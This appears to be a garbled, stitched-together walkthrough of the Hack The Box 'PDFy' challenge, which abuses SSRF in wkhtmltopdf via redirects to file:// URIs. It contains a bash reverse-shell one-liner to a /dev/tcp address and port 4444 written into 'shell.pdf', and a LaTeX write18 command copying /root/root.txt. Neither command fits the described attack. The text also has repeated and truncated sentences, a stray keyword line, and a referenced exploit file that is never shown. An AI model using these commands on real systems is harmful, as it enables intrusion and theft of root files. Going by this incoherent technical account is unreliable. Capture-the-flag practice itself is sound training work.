Hack The Box (HTB) is a popular online platform that provides a challenging and interactive environment for cybersecurity enthusiasts to test their skills. One of the recent challenges on HTB is PDFY, a medium-level difficulty box that requires a combination of web exploitation, file analysis, and system compromise. In this writeup, we will walk through the step-by-step process of solving the PDFY challenge, highlighting the key techniques and tools used.
The challenge presents a web application designed to take a user-supplied URL and convert that web page into a downloadable PDF document. By understanding how the backend PDF rendering engine processes redirects, you can bypass local restrictions to read sensitive system files and capture the flag.
An SSRF vulnerability allows an attacker to trick a server into making arbitrary HTTP requests on their behalf. This means an attacker can use the vulnerable server as a proxy to interact with internal systems, resources, and files that are not accessible directly from the public internet. pdfy htb writeup upd
To find the flag, look for the unique root paths or user home directories exposed in the /etc/passwd dump. Modify the exploit.php file on your server to target the specific flag file destination (commonly /flag.txt or /root/flag.txt ): Use code with caution.
This walkthrough demonstrates that the most effective way to learn penetration testing is by doing. PDFy is a perfect starting point for beginners to understand the attack surface of web applications and internal services, bridging the gap between theory and practice in a fun, gamified way. Hack The Box (HTB) is a popular online
Hack The Box (HTB) remains one of the premier platforms for cybersecurity professionals to hone their penetration testing skills. Among the many machines in its extensive library, stands out as an excellent learning exercise, focusing on vulnerability research, web application security, and privilege escalation techniques.
$ echo "<?php system('bash -i >& /dev/tcp/10.10.14.16/4444 0>&1'); ?>" > shell.pdf The challenge presents a web application designed to
\immediate\write18cat /root/root.txt > /tmp/root.txt \bye
wkhtmltopdf uses the Qt WebKit rendering engine to convert HTML pages into PDF documents. The vulnerability arises from how it handles certain HTML elements when processing a page. Specifically, wkhtmltopdf does not adequately sanitize certain URLs, making it possible to load local file:// resources. This is a classic SSRF attack vector.
The internal wkhtmltopdf parser catches the redirect and fetches the contents of /etc/passwd from its own local filesystem.
Many users struggle by overcomplicating the attack with complex reverse proxies. The most straightforward path is often a basic redirect to a file:// URI.